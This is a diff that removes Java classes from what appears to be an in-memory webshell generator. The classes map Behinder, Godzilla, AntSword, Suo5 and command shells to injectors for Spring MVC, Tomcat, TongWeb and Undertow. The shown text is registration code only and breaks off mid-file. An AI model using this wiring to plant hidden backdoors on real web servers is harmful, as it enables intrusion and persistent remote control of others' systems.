-import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
-import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
-import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
-import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
-import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
-import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
-import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
-import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
-import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
-import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
-import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
-import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
-import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
-import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-/**
- * @author ReaJason
- * @since 2024/12/22
- */
-public class SpringWebMvcShell extends AbstractShell {
-    public static final String INTERCEPTOR = "Interceptor";
-    public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
-    public static final String CONTROLLER_HANDLER = "ControllerHandler";
-    public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
-    public static final String AGENT_FRAMEWORK_SERVLET = "AgentFrameworkServlet";
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class));
-        map.put(JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class));
-        map.put(CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
-        map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
-        map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(BehinderServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class));
-        map.put(JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class));
-        map.put(CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
-        map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
-        map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(CommandFilterChainAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class));
-        map.put(JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class));
-        map.put(CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
-        map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
-        map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class));
-        map.put(JAKARTA_INTERCEPTOR, Pair.of(Suo5Interceptor.class, SpringWebMvcInterceptorInjector.class));
-        map.put(CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
-        map.put(JAKARTA_CONTROLLER_HANDLER, Pair.of(Suo5ControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(INTERCEPTOR, Pair.of(AntSwordInterceptor.class, SpringWebMvcInterceptorInjector.class));
-        map.put(CONTROLLER_HANDLER, Pair.of(AntSwordControllerHandler.class, SpringWebMvcControllerHandlerInjector.class));
-        map.put(AGENT_FRAMEWORK_SERVLET, Pair.of(AntSwordServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/TomcatShell.java

@@ -1,119 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
-import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
-import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
-import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
-import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
-import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
-import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
-import com.reajason.javaweb.memshell.tomcat.injector.*;
-import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-import static com.reajason.javaweb.memshell.config.Constants.*;
-
-/**
- * @author ReaJason
- * @since 2024/11/22
- */
-public class TomcatShell extends AbstractShell {
-    public static final String WEBSOCKET = "WebSocket";
-    public static final String UPGRADE = "Upgrade";
-    public static final String EXECUTOR = "Executor";
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class));
-        map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class));
-        map.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
-        map.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
-        map.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        map.put(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class));
-        map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class));
-        map.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
-        map.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
-        map.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class));
-        map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, TomcatServletInjector.class));
-        map.put(FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TomcatFilterInjector.class));
-        map.put(LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class));
-        map.put(VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class));
-        map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, TomcatServletInjector.class));
-        map.put(FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TomcatFilterInjector.class));
-        map.put(LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TomcatListenerInjector.class));
-        map.put(VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(Suo5Valve.class, TomcatValveInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(AntSwordServlet.class, TomcatServletInjector.class));
-        map.put(FILTER, Pair.of(AntSwordFilter.class, TomcatFilterInjector.class));
-        map.put(LISTENER, Pair.of(AntSwordListener.class, TomcatListenerInjector.class));
-        map.put(VALVE, Pair.of(AntSwordValve.class, TomcatValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/TongWeb6Shell.java

@@ -1,100 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
-import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
-import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
-import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
-import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
-import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
-import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6;
-import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6;
-import com.reajason.javaweb.memshell.tongweb.command.CommandValve6;
-import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6;
-import com.reajason.javaweb.memshell.tongweb.injector.*;
-import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve6;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-import static com.reajason.javaweb.memshell.config.Constants.*;
-
-/**
- * @author ReaJason
- * @since 2024/12/26
- */
-public class TongWeb6Shell extends AbstractShell {
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
-        map.put(LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
-        map.put(VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(CommandValve6.class, TongWebValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
-        map.put(LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
-        map.put(VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(GodzillaValve6.class, TongWebValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
-        map.put(LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
-        map.put(VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(BehinderValve6.class, TongWebValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
-        map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
-        map.put(VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(Suo5Valve6.class, TongWebValveInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
-        map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
-        map.put(VALVE, Pair.of(AntSwordValve6.class, TongWebValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/TongWeb7Shell.java

@@ -1,100 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
-import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
-import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
-import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
-import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
-import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
-import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7;
-import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7;
-import com.reajason.javaweb.memshell.tongweb.command.CommandValve7;
-import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7;
-import com.reajason.javaweb.memshell.tongweb.injector.*;
-import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve7;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-import static com.reajason.javaweb.memshell.config.Constants.*;
-
-/**
- * @author ReaJason
- * @since 2024/12/26
- */
-public class TongWeb7Shell extends AbstractShell {
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TongWebFilterInjector.class));
-        map.put(LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TongWebListenerInjector.class));
-        map.put(VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(CommandValve7.class, TongWebValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TongWebFilterInjector.class));
-        map.put(LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TongWebListenerInjector.class));
-        map.put(VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(GodzillaValve7.class, TongWebValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, TongWebFilterInjector.class));
-        map.put(LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, TongWebListenerInjector.class));
-        map.put(VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(BehinderValve7.class, TongWebValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, TongWebFilterInjector.class));
-        map.put(LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, TongWebListenerInjector.class));
-        map.put(VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
-        map.put(JAKARTA_VALVE, Pair.of(Suo5Valve7.class, TongWebValveInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(FILTER, Pair.of(AntSwordFilter.class, TongWebFilterInjector.class));
-        map.put(LISTENER, Pair.of(AntSwordListener.class, TongWebListenerInjector.class));
-        map.put(VALVE, Pair.of(AntSwordValve7.class, TongWebValveInjector.class));
-        map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, TongWebFilterChainAgentInjector.class));
-        map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
-        return map;
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/UndertowShell.java

@@ -1,100 +0,0 @@
-package com.reajason.javaweb.memshell;
-
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
-import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
-import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
-import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
-import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
-import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
-import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
-import com.reajason.javaweb.memshell.undertow.antsword.AntSwordListener;
-import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor;
-import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
-import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
-import com.reajason.javaweb.memshell.undertow.command.CommandListener;
-import com.reajason.javaweb.memshell.undertow.command.CommandServletInitialHandlerAdvisor;
-import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
-import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaServletInitialHandlerAdvisor;
-import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
-import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
-import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector;
-import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
-import com.reajason.javaweb.memshell.undertow.suo5.Suo5Listener;
-import org.apache.commons.lang3.tuple.Pair;
-
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-import static com.reajason.javaweb.memshell.config.Constants.*;
-
-/**
- * @author ReaJason
- * @since 2024/12/10
- */
-public class UndertowShell extends AbstractShell {
-    public static final String AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class));
-        map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class));
-        map.put(FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class));
-        map.put(LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class));
-        map.put(AGENT_SERVLET_HANDLER, Pair.of(CommandServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class));
-        map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class));
-        map.put(FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class));
-        map.put(LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class));
-        map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class));
-        map.put(AGENT_SERVLET_HANDLER, Pair.of(GodzillaServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
-        return map;
-    }
-
-    @Override
-    protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
-        Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
-        map.put(SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class));
-        map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class));
-        map.put(FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class));
-        map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class));
-        map.put(LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class));
